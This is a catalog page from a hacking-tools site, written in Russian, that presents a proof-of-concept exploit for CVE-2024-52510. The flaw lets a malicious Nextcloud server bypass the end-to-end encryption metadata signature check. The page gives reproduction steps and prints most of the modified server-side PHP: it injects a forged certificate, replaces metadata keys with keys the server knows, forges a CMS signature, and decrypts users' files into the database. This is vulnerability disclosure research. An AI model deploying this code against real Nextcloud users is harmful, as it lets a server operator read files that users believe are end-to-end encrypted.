Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-52510 — CVE-2024-52510 - Нарушение конфиденциальности в сквозном шифровании Nextcloud | Kitploit
Инструменты/GitHubGitHub/d-xuan/cve-2024-52510
Инструменты шифрования/дешифрованияАнализ уязвимостейЭксплуатацияКриптографияТестирование на ПроникновениеБезопасность облачных сред
GitHubd-xuan/cve-2024-52510

CVE-2024-52510

CVE-2024-52510 - Нарушение конфиденциальности в сквозном шифровании Nextcloud

Репозиторий
22 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Обход X-E2EE-SIGNATURE в Nextcloud (POC)

Краткое описание

  • При нормальной работе протокола E2EEv2 в Nextcloud клиенты криптографически подписывают метаданные папок перед загрузкой на сервер. Это гарантирует, что метаданные не были подменены при их повторном получении для целей совместного использования файлов или синхронизации изменений.

  • Проверка подписи выполняется клиентом в foldermetadata.cpp:177 при инициализации полученных метаданных. Однако у вредоносного сервера есть два способа обойти эту проверку:

    • Он может ответить пустым заголовком ответа X-E2EE-SIGNATURE. Поскольку заголовок пуст, условие в foldermetadata.cpp:168 означает, что проверка подписи не выполняется, и изменённые метаданные принимаются клиентом.

    • Он может внедрить сертификат в JSON-массив users, а затем подписать метаданные этим сертификатом. Поскольку CMS_NO_SIGNER_CERT_VERIFY передаётся в clientsideencryption.cpp:941, сертификат подписи не проверяется по цепочке доверия, и клиент проверяет только наличие сертификата подписи в векторе certificatePems (clientsideencryption.cpp:955-971), который контролируется сервером.

  • В этом POC мы продемонстрируем второй метод, так как он сложнее в реализации, однако оба метода были протестированы и работают.

  • Вредоносный сервер может использовать этот обход, чтобы предоставлять клиентам ключи метаданных, известные серверу. Клиенты затем будут использовать этот ключ метаданных для шифрования последующих файлов, что позволит серверу расшифровывать и читать файлы в папках со сквозным шифрованием.

    Этот способ эксплуатации обхода подписи основан на атаке, найденной Альбрехтом, Бекендалом, Копполой и Патерсоном в 2023 году (https://eprint.iacr.org/2024/546) на предыдущую версию протокола E2EE. Действительно, аутентификация ключей метаданных была мерой противодействия этой атаке (см. раздел 5.1 указанной статьи).

Шаги воспроизведения

  1. Клонируйте этот репозиторий и откройте его в VS Code с помощью расширения DevContainer. Предоставляется DevContainer на основе контейнера из репозитория сервера Nextcloud со следующими изменениями:

    • Для целей отладки на порту 7001 доступен обратный прокси-сервер mitmproxy. Веб-интерфейс доступен на порту 7002.
    • При установке сервера Nextcloud также будут включены приложения encryption и end_to_end_encryption, и будет создана учётная запись с именем пользователя и паролем sharer.
  2. Когда сервер будет запущен, подключитесь к нему по адресу http://localhost:8000 (или через обратный прокси-сервер по адресу http://localhost:7001) с помощью последней версии клиента. В настоящее время я тестировал это на AppImage v3.13.2.

root@kitploit:~
sha256sum Nextcloud-3.13.2-x86_64.AppImage 
92ec0a5260f6260fa8ce92acdb022c441f0efbf6b57cc96d75ac608ccb4c4ee2  Nextcloud-3.13.2-x86_64.AppImage
  1. При появлении запроса войдите с именем пользователя sharer и паролем sharer. Примите параметры синхронизации по умолчанию (будет создан каталог ~/Nextcloud/ с файлом welcome.txt внутри), а затем настройте сквозное шифрование в настройках клиента Nextcloud.

  2. Создайте новую папку encrypted_folder в каталоге ~/Nextcloud. В настройках клиента Nextcloud отметьте эту папку как зашифрованную.

  1. Внутри Nextcloud/encrypted_folder создайте простой текстовый файл и дождитесь его синхронизации.
root@kitploit:~
# ~/Nextcloud/encrypted_folder
$ echo 'this should be encrypted' > file.txt
  1. Войдите в базу данных Postgres в Adminer по адресу http://localhost:8080/, используя учётные данные:

    • Имя пользователя: postgres
    • Пароль: postgres
    • База данных: postgres

и перейдите к таблицам oc_e2e_encryption_metadata и oc_e2e_encryption_decrypted. Вы должны увидеть расшифрованные метаданные и содержимое файлов в открытом виде.

На скриншотах выше было создано и удалено пара дополнительных тестовых файлов, поэтому они будут немного отличаться от того, что вы увидите.

Технические детали

Этот репозиторий основан на репозиториях сервера Nextcloud и приложения сквозного шифрования. Большая часть кода осталась без изменений, поэтому я постараюсь объяснить, что именно было изменено.

Во-первых, метод getMetadata в MetaDataStorage.php был изменён: теперь он подменяет возвращаемые метаданные, вызывая новый метод getFakeUserMetadata.

root@kitploit:~
--- original/lib/MetaDataStorage.php	2024-07-11 23:38:16.105826088 +1000
+++ nc-server/apps/end_to_end_encryption/lib/MetaDataStorage.php	2024-07-11 21:05:37.734565037 +1000
@@ -68,14 +82,12 @@
 			return $legacyFile->getContent();
 		}
 
-		$folderName = $this->getFolderNameForFileId($id);
-		$folder = $this->appData->getFolder($folderName);
+		$metaData = $this->getFakeUserMetadata($id);
 
-		return $folder
-			->getFile($this->metaDataFileName)
-			->getContent();
+		return $metaData;
 	}

В методе getFakeUserMetadata мы сначала внедряем выбранный сертификат в JSON-ключ users. Это необходимо для подделки подписи.

root@kitploit:~
	private function getFakeUserMetadata(int $id): string {
		$folderName = $this->getFolderNameForFileId($id);
		$folder = $this->appData->getFolder($folderName);

		$metaData = json_decode($folder->getFile($this->metaDataFileName)->getContent());

		if (is_null($metaData->users)) {
			/* This is a non-root metadata. Return as normal*/
			return json_encode($metaData);
		}
				
		/* 
		 * Step 1: Inject a fake public key into the metadata
		 * This can be used to forge a signature for the response.
		 */
		$found = false;
		foreach ($metaData->users as $userData) {
			if ($userData->userId === $this->fakeUserId) {
				$found = true;
				break;
			}
		}
		if (!$found) {
			try {
				$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
				$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
				$pemCertificate = $certificateFile->getContent();
			} catch (NotFoundException $e) {
				/* Create a new private key for the fake user */
				$privateKey = openssl_pkey_new();
				openssl_pkey_export($privateKey, $privateKeyPem);
				$folder->newFile($this->fakeUserPrivateKeyFileName)->putContent($privateKeyPem);

				/* Client is expecting a certificate for the public key */
				$csr = openssl_csr_new(array(), $privateKey);
				$certificate = openssl_csr_sign($csr, null, $privateKey, 365);
				openssl_x509_export($certificate, $pemCertificate);
				$folder->newFile($this->fakeUserPublicCertificateFileName)->putContent($pemCertificate);
			}

			$newUser = new \stdClass();
			$newUser->certificate = $pemCertificate;
			array_push($metaData->users, $newUser); 
		}

Затем, поскольку у нас есть доступ к открытому ключу клиента, мы можем зашифровать наши собственные ключи и заменить зашифрованные ключи метаданных на ключи, которые мы контролируем.

root@kitploit:~
		/* 
	 	 * Step 2: Change all the metadata keys to keys that we control.
		 */
		foreach ($metaData->users as $userData) {
			$publicKey = PublicKeyLoader::load($userData->certificate)->withHash('sha256')->withMGFHash('sha256');
			$fakeEncryptedMetadataKey = $publicKey->encrypt($this->fakeMetadataKey);
			$userData->encryptedMetadataKey = base64_encode($fakeEncryptedMetadataKey);
		}	

		/* We need to set userId after setting encryptedMetadataKey, as Qt will serialize json keys in alphabetical order */
		if (!is_null($newUser)) {
			$newUser->userId = $this->fakeUserId;
		}

Поскольку мы изменили ключи метаданных, нам также потребуется заменить и шифротекст. Если мы уже успешно провели атаку, у нас будет доступ к реальным метаданным, которые мы можем повторно зашифровать. В противном случае мы инициализируем пустой объект метаданных и зашифруем его.

root@kitploit:~
		/* 
		 * Step 3: Replace the encrypted metadata with one that can be decrypted under the new key.
		 * Then as long as we don't trigger a downsync, the next PUT will 
		 * contain metadata encrypted with a key known to us.
		 */
		$fakeMetadata = new \stdClass();
		$fakeMetadata->folders = new \stdClass();
		$fakeMetadata->files = new \stdClass();

		try {
			$metadataEntities = $this->metadataMapper->getByFolderId($id);
			foreach ($metadataEntities as $metadataEntity) {
				$encryptedFilename = $metadataEntity->getEncryptedFilename();
				if ($metadataEntity->isDirectory()) {
					$fakeMetadata->folders->$encryptedFilename = $metadataEntity->toJson();
				} else {
					$fakeMetadata->files->$encryptedFilename = $metadataEntity->toJson();
				}
			}
		} catch (DoesNotExistException $ex) {
			/* Return empty metadata */
		}

		$fakeMetadata->counter = $this->getCounter($id);
		/* keyChecksums needs to contain the SHA256 of the decrypted metadata key (in hex) */
		$fakeMetadata->keyChecksums = array();
		array_push($fakeMetadata->keyChecksums, hash("sha256", $this->fakeMetadataKey));

		/* Then the AES-128-GCM ciphertext of the gzipped json object goes into the response */
		$plaintext = gzencode(json_encode($fakeMetadata));
		$nonce = openssl_random_pseudo_bytes(16);
		$ciphertext = openssl_encrypt($plaintext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);

		$metaData->metadata->authenticationTag = base64_encode($authenticationTag);
		$metaData->metadata->ciphertext = base64_encode($ciphertext . $authenticationTag) . "|" . base64_encode($nonce);
		$metaData->metadata->nonce = base64_encode($nonce);

		$metaData = json_encode($metaData, JSON_UNESCAPED_SLASHES);
		
		/* Ensure whatever metadata we return syncs up with what is stored on disk */
		$folder->getFile($this->metaDataFileName)->putContent($metaData);

Наконец, мы берём изменённую JSON-полезную нагрузку и заново подписываем её нашим сертификатом. Альтернативный вариант — использовать здесь пустую подпись.

root@kitploit:~
		/* Note: We only need to forge a signature for root metadata */
		$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
		$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);

		$pemCertificate = $certificateFile->getContent();
		$privateKey = openssl_pkey_get_private($privateKeyFile->getContent());
		
		$signatureTempFile = tempnam(sys_get_temp_dir(), "signature");
		$metadataTempFile = tempnam(sys_get_Temp_dir(), "metadata");
		file_put_contents($metadataTempFile, base64_encode($metaData));
		if (openssl_cms_sign($metadataTempFile, $signatureTempFile, $pemCertificate, $privateKey, array(), 0, OPENSSL_ENCODING_DER)) {
			$signature = base64_encode(file_get_contents($signatureTempFile));
			$this->writeSignature($folder, $this->metaDataSignatureFileName, $signature);
		} else {
			$this->writeSignature($folder, $this->metaDataSignatureFileName, "");
		}
		unlink($signatureTempFile);
		unlink($metadataTempFile);

		return $metaData;
	}

После того как метаданные были подменены, клиент будет использовать наш ключ шифрования для шифрования любых новых метаданных. При получении любых новых метаданных мы пытаемся расшифровать их с помощью нашего ключа.

root@kitploit:~
--- original/lib/Controller/MetaDataController.php	2024-07-11 23:38:16.102492800 +1000
+++ nc-server/apps/end_to_end_encryption/lib/Controller/MetaDataController.php	2024-07-11 20:54:06.794689137 +1000
@@ -164,9 +170,11 @@
 		}

 		if ($this->lockManager->isLocked($id, $e2eToken, null, true)) {
 			throw new OCSForbiddenException($this->l10n->t('You are not allowed to edit the file, make sure to first lock it, and then send the right token'));
 		}
 
+		$this->metaDataStorage->decryptMetaData($id, $metaData);
+
 		try {
 			$this->metaDataStorage->updateMetaDataIntoIntermediateFile($this->userId, $id, $metaData, $e2eToken, $signature);
 		} catch (MissingMetaDataException $e) {
root@kitploit:~
	public function decryptMetaData(int $id, string $metaData) {
		$this->verifyFolderStructure();

		$folderName = $this->getFolderNameForFileId($id);
		$folder = $this->appData->getFolder($folderName);

		/* Try to decrypt the incoming metadata with our fake key */
		$metaData = json_decode($metaData);
		$authenticationTag = base64_decode($metaData->metadata->authenticationTag);
		$ciphertextAndTag = base64_decode(explode("|", $metaData->metadata->ciphertext)[0]);
		$ciphertext = substr($ciphertextAndTag, 0, -16);
		$nonce = base64_decode($metaData->metadata->nonce);
		$gzippedPlaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);

		/* If we succeed, store the decrypted metadata */
		if ($gzippedPlaintext) {
			$decodedMetadata = json_decode(gzdecode($gzippedPlaintext));
			foreach ($decodedMetadata->files as $encryptedFilename => $file) {
				try {
					$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
					$metadataEntity->setEncryptedFilename($encryptedFilename);
					$metadataEntity->setKey($file->key);
					$metadataEntity->setKey($file->key);
					$metadataEntity->setNonce($file->nonce);
					$metadataEntity->setAuthenticationTag($file->authenticationTag);
					$metadataEntity->setFilename($file->filename);
					$this->metadataMapper->update($metadataEntity);
				} catch (DoesNotExistException $ex) {
					$newMetadata = new Metadata();
					$newMetadata->setFolderId($id);
					$newMetadata->setEncryptedFilename($encryptedFilename);
					$newMetadata->setKey($file->key);
					$newMetadata->setNonce($file->nonce);
					$newMetadata->setAuthenticationTag($file->authenticationTag);
					$newMetadata->setFilename($file->filename);
					$this->metadataMapper->insert($newMetadata);
				}
			}
			foreach ($decodedMetadata->folders as $encryptedFilename => $filename) {
				try {
					$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
					$metadataEntity->setFilename($filename);
					$this->metadataMapper->update($metadataEntity);
				} catch (DoesNotExistException $ex) {
					$newMetadata = new Metadata();
					$newMetadata->setFolderId($id);
					$newMetadata->setEncryptedFilename($encryptedFilename);
					$newMetadata->setFilename($filename);
					$this->metadataMapper->insert($newMetadata);
				}
			}
		}
	}

Наконец, мы создаём слушатель события создания нового файла и пытаемся расшифровать его с помощью ключей файлов, найденных в расшифрованных метаданных.

root@kitploit:~
class NodeCreatedListener implements IEventListener {
	private MetadataMapper $metadataMapper;
	private PlaintextMapper $plaintextMapper;

	public function __construct(MetadataMapper $metadataMapper, PlaintextMapper $plaintextMapper) {
		$this->metadataMapper = $metadataMapper;
		$this->plaintextMapper = $plaintextMapper;
	}

	public function handle(Event $event): void {
		if (!($event instanceof NodeCreatedEvent)) {
			return;
		}

		$node = $event->getNode();
		$encryptedFilename = preg_replace('/\.e2e-to-save$/', '', $node->getName());
		if ($node instanceof File) {
			$curr = $node;
			while (!($curr instanceof Root)) {
				$curr = $curr->getParent();
				$id = $curr->getId();

				try {
					$metadata = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
				} catch (DoesNotExistException $ex) {
					continue;
				}

				/* Metadata found: try to decrypt */
				$key = base64_decode($metadata->getKey());
				$nonce = base64_decode($metadata->getNonce());
				$authenticationTag = base64_decode($metadata->getAuthenticationTag());
				$ciphertext = substr($node->getContent(), 0, -16);
				$plaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING, $nonce, $authenticationTag);

				if ($plaintext) {
					/* Decryption successful. Store in DB */
					try {
						$plaintextEntity = $this->plaintextMapper->getById($metadata->getId());
						$plaintextEntity->setPlaintext($plaintext);
						$this->plaintextMapper->update($plaintextEntity);
					} catch (DoesNotExistException $ex) {
						$plaintextEntity = new Plaintext();
						$plaintextEntity->setId($metadata->getId());
						$plaintextEntity->setPlaintext($plaintext);
						$this->plaintextMapper->insert($plaintextEntity);
					}
					break;
				}
			}
		}
	}
}
Скачать инструмент